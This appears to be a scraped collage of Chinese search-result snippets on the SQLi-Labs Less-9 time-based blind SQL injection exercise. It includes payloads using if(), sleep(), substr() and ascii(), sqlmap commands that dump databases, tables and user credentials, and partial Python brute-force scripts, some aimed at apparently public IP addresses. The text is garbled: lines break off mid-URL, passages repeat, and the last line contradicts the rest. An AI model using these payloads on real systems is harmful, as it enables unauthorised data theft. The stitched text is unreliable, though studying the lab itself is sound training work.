【实验步骤】 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9 在浏览器地址栏中输入http://【靶机IP】/Less-9/, 访问SQLI-Labs的less-9。 (1)http://【靶机IP】/Less-9/?id=1' and length(database())>0 %23 或 http://【靶机IP】/Less-9/? (2)采用sleep()函数进行测试 http://【靶机IP】/Less-9/?id=1' and sleep(10) %23 或 http://【靶机IP】/Less-9/? (2)获取表 http://【靶机IP】/Less-9/?
布尔型盲注返回的是正确或者错误 时间盲注返回的是延时或者不延时 所以道理是相通的 这里直接带入第九关卡这道题目 用sleep函数去判断sql查询语句的形式 http://127.0.0.1/Less-9 id=1 and sleep(5) --+ 直接返回页面 http://127.0.0.1/Less-9/? id=1’ and sleep(5) --+ 延时5秒才返回页面 http://127.0.0.1/Less-9/? 查询语句为 Select * from tables where id = ‘numbei’ 单引号类型的查询语句 把上一节课的语句拿出来,通过if和sleep来构造 http://127.0.0.1/Less 根据上面的结果 我们就可以参照上一课的盲注,利用猜测ascii的方式,来判断数据库名,表名,字段名 比如 我们猜测 当前数据库的第一个字符的ascii的值大于116 http://127.0.0.1/Less
判断闭合符 构造一个明显会延时的if()语句拼接到条件语句(where)后 再依次尝试添加待确定的闭合符 如果延时,则尝试的闭合符正确 http://172.16.11.222/sqli-labs/Less 找到数据库名的长度 http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+ ? 将数据库名一个字母一个字母爆出来 http://172.16.11.222/sqli-labs/Less-9/? http://172.16.11.222/sqli-labs/Less-9/?
=68 --+2、时间盲注涉及到的函数if(a,b,c) 当a为真值时,执行b;当a为假值时,执行csleep(5) #休眠5秒(1)查看数据库长度http://124.222.124.9:8888/Less id=1' and if(length(database())>7,sleep(3),1) --+(2)遍历数据库字符(这一步可省略)http://124.222.124.9:8888/Less-9/? =1' and if(ascii(substr(database(),1,1))=114,sleep(3),1) --+逐个遍历字符(3)统计表数量http://124.222.124.9:8888/Less information_schema.tables where table_schema=database())=4,sleep(3),1) --+(4)遍历表名http://124.222.124.9:8888/Less
下图是sqlmap语句探测的结果 Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql ? Sqlmap探测出来的是存在布尔型注入和时间注入 我们这里以时间盲注来说 Sqlmap –u” http://192.168.0.114:5555/Less-9/? 先探测出数据库名 Secutity 这个不再详解,上面已经有详细说明 既然是时间盲注,我们构造sqlmap语句 Sqlmap语句 sqlmap -u"http://192.168.0.114:5555/Less
这时我们就可以用延时注入的方法进行数据库数据的获取 同样我们需要先获取库名的长度,然后再获取库名 这里主要使用到了sleep(),substr()和length()函数 获取库名长度: http://127.0.0.1/sqli-labs/Less select database()))=m),sleep(5),NULL) %23//其中m为整型可变参数,如果猜解正确,页面将会暂停响应5秒 获取库名: http://127.0.0.1/sqli-labs/Less name__ == '__main__': dict = 'abcdefghijklmnopqrstuvwxyz' base_url = "http://127.0.0.1/sqli-labs/Less
尝试构造payload http://127.0.0.1/sqlilabs2/Less-9/index.php? stringimport requestsfrom time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less length(database())=8),sleep(5),1)--+ SQLMAP注入 直接上payload(9-10通用) sqlmap -u "http://127.0.0.1/sqlilabs2/Less
,0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+ http://127.0.0.1/sqllib/Less id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))–+ http://127.0.0.1/sqllib/Less-9/? chema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+ http://127.0.0.1/sqllib/Less _schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+ http://127.0.0.1/sqllib/Less
判断数据库名长度 获取数据库名(逐个字母盲猜 获取数据库的表名(逐个字母盲猜) 获取数据表的字段名(逐个字母盲猜) 获取字段值(逐个字母盲猜) 基于时间的盲注实例 目标靶机 : SQLi-Labs的less
所以无法像第八关那样通过查看页面是否输出语句来判断注入的语句是否正确执行,这一关使用时间盲注方法 请看代码: import requests import time import datetime url = "http://localhost/sql-labs/Less
#查询数据库 #【security】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/? #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less threads 10 #获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less in '0123456789abcdefghijklmnopqrstuvwxyz_': url = '''http://139.224.112.182:8087/sqli1/Less
updatexml(1,concat(0x7e,(database()),0x7e),1) --+ 针对手工注入的时间盲注: http://www.wangehacker.cn/sqli-labs/Less
Less-9(GET-Blind-Time based-Single Quotes) 基于时间的盲注,用于在正常和错误页面无明显变化的时候,这时候用不了布尔盲注,只能通过延时时间达到提取信息的目的 下面给出了时间盲注的部分 else: pass print('database is ' + database) Less-10(GET-Blind-Time based-double quotes) 和Less
id=1' and if(1=1,sleep(3),1) --+ sql-labs之Less-9 ?
盲注也是可以使用脚本来进行注入的,只需要将布尔注入的脚本修改一下 import requests import time import re url = "http://10.211.55.4/sqli-labs-master/Less
数据库长度判断 http://127.0.0.1/sqli-labs/Less-9/?
尝试构造payload http://127.0.0.1/sqlilabs2/Less-9/index.php? import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less length(database())=8),sleep(5),1)--+ SQLMAP注入 直接上payload(9-10通用) sqlmap -u "http://127.0.0.1/sqlilabs2/Less
数据库长度判断 http://127.0.0.1/sqli-labs/Less-9/?
且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?
Less-9: SQL 注入,但对单引号、双引号、反斜杠、分号、空格、注释符、括号和数字进行了转义。